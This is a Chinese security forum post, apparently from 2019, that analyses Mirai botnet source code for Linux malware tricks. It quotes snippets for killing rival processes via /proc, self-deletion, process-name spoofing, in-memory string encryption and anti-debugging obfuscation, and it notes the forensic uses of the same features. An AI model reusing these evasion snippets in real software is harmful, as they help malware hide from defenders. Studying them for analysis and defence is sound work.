首页
社区
课程
招聘
[原创][原创]linux猥琐操作Zzz
2019-3-11 23:06 15556

[原创][原创]linux猥琐操作Zzz

2019-3-11 23:06
15556

总结一些linux下的猥琐操作

1.proc文件夹中的信息

https://github.com/jgamblin/Mirai-Source-Code/blob/master/mirai/bot/killer.c

 

以下摘自https://blog.csdn.net/enweitech/article/details/53391567

 

/proc/pid/cmdline 包含了用于开始进程的命令 ;
/proc/pid/cwd包含了当前进程工作目录的一个链接 ;
/proc/pid/environ 包含了可用进程环境变量的列表 ;
/proc/pid/exe 包含了正在进程中运行的程序链接;
/proc/pid/fd/ 这个目录包含了进程打开的每一个文件的链接;
/proc/pid/mem 包含了进程在内存中的内容;
/proc/pid/stat包含了进程的状态信息;

 

在linux中,这些文件包含了很多敏感信息

 

在mirai中,使用readlink读取/proc/pid/exe来获取程序路径,从而判断是敌是友

            // If path contains ".anime" kill.
            if (util_stristr(realpath, rp_len - 1, table_retrieve_val(TABLE_KILLER_ANIME, NULL)) != -1)
            {
                unlink(realpath);
                kill(pid, 9);
            }

也可以open /proc/pid/exe 来读取内存,读内存数据判断是敌是友

f (memory_scan_match(exe_path))
            {
#ifdef DEBUG
                printf("[killer] Memory scan match for binary %s\n", exe_path);
#endif
                kill(pid, 9);
            } 

            /*
            if (upx_scan_match(exe_path, status_path))
            {
#ifdef DEBUG
                printf("[killer] UPX scan match for binary %s\n", exe_path);
#endif
                kill(pid, 9);
            }

这些特性也可以用来取证,比如如果readlink /proc/pid/exe,路径中出现(deleted),就是自删除的,那么这个就很可疑,就可以使用cp /proc/pid/exe /tmp/v 把他拷贝出来。更多的特性可以在网上找资料,对linux安全研究有很多帮助。

2.dns请求

mirai为了不调用c库函数,自己实现很多c函数

 

比如util.c中一些库函数,resolv.c中的dns查询

 

https://github.com/jgamblin/Mirai-Source-Code/blob/master/mirai/bot/resolv.c

3.隐藏自身

linux惯用手法

 

曾经看过一个udp reverseshell ,感觉linux中用户层隐藏自己的方法都差不多

 

https://github.com/Churro/portknockd/blob/master/portknockd.c

 strncpy(argv[0], NAME_SPOOF, strlen(argv[0]));
  prctl(PR_SET_NAME, (unsigned long)NAME_SPOOF, 0, 0, 0);

mirai

    // Delete self
    unlink(args[0]);
        // Hide argv0
    name_buf_len = ((rand_next() % 4) + 3) * 4;
    rand_alphastr(name_buf, name_buf_len);
    name_buf[name_buf_len] = 0;
    util_strcpy(args[0], name_buf);

    // Hide process name
    name_buf_len = ((rand_next() % 6) + 3) * 4;
    rand_alphastr(name_buf, name_buf_len);
    name_buf[name_buf_len] = 0;
    prctl(PR_SET_NAME, name_buf);

4.加密(mirai)

调用完后立刻加密,敏感字符串不会一直存留在内存中

// Print out system exec
table_unlock_val(TABLE_EXEC_SUCCESS);// 解密
tbl_exec_succ = table_retrieve_val(TABLE_EXEC_SUCCESS, &tbl_exec_succ_len);// 获取
write(STDOUT, tbl_exec_succ, tbl_exec_succ_len);
write(STDOUT, "\n", 1);
table_lock_val(TABLE_EXEC_SUCCESS);// 加密

5.隐藏函数调用(mirai)

做了两处隐藏,看unlock_tbl_if_nodebug中,将table_init函数的调用与argv[0]搅合在一起,让人逆得头疼

 

二是先注册异常处理函数 signal(SIGTRAP, &anti_gdb_entry);,如果unlock_tbl_if_nodebug(args[0])返回true,才触发异常,然后才间接调用anti_gdb_entry,anti_gdb_entry中为 resolve_func = resolve_cnc_addr;类似windows中的猥琐操作。

 

这段写的有两个作用,一是必须输入正确的名字才能进行正确的初始化,二是让你看不懂

 

main.c

 signal(SIGTRAP, &anti_gdb_entry);
......

#ifdef DEBUG
    unlock_tbl_if_nodebug(args[0]);
    anti_gdb_entry(0);
#else
    if (unlock_tbl_if_nodebug(args[0]))
        raise(SIGTRAP);
#endif
......
static BOOL unlock_tbl_if_nodebug(char *argv0)
{
    // ./dvrHelper = 0x2e 0x2f 0x64 0x76 0x72 0x48 0x65 0x6c 0x70 0x65 0x72
    char buf_src[18] = {0x2f, 0x2e, 0x00, 0x76, 0x64, 0x00, 0x48, 0x72, 0x00, 0x6c, 0x65, 0x00, 0x65, 0x70, 0x00, 0x00, 0x72, 0x00}, buf_dst[12];
    int i, ii = 0, c = 0;
    uint8_t fold = 0xAF;
    void (*obf_funcs[]) (void) = {
        (void (*) (void))ensure_single_instance,
        (void (*) (void))table_unlock_val,
        (void (*) (void))table_retrieve_val,
        (void (*) (void))table_init, // This is the function we actually want to run
        (void (*) (void))table_lock_val,
        (void (*) (void))util_memcpy,
        (void (*) (void))util_strcmp,
        (void (*) (void))killer_init,
        (void (*) (void))anti_gdb_entry
    };
    BOOL matches;

    for (i = 0; i < 7; i++)
        c += (long)obf_funcs[i];
    if (c == 0)
        return FALSE;

    // We swap every 2 bytes: e.g. 1, 2, 3, 4 -> 2, 1, 4, 3
    for (i = 0; i < sizeof (buf_src); i += 3)
    {
        char tmp = buf_src[i];

        buf_dst[ii++] = buf_src[i + 1];
        buf_dst[ii++] = tmp;

        // Meaningless tautology that gets you right back where you started
        i *= 2;
        i += 14;
        i /= 2;
        i -= 7;

        // Mess with 0xAF
        fold += ~argv0[ii % util_strlen(argv0)];
    }
    fold %= (sizeof (obf_funcs) / sizeof (void *));

#ifndef DEBUG
    (obf_funcs[fold])();
    matches = util_strcmp(argv0, buf_dst);
    util_zero(buf_src, sizeof (buf_src));
    util_zero(buf_dst, sizeof (buf_dst));
    return matches;
#else
    table_init();
    return TRUE;
#endif
}

[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2019-4-8 17:50 被爱中华UpTTT编辑 ,原因:
收藏
点赞3
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回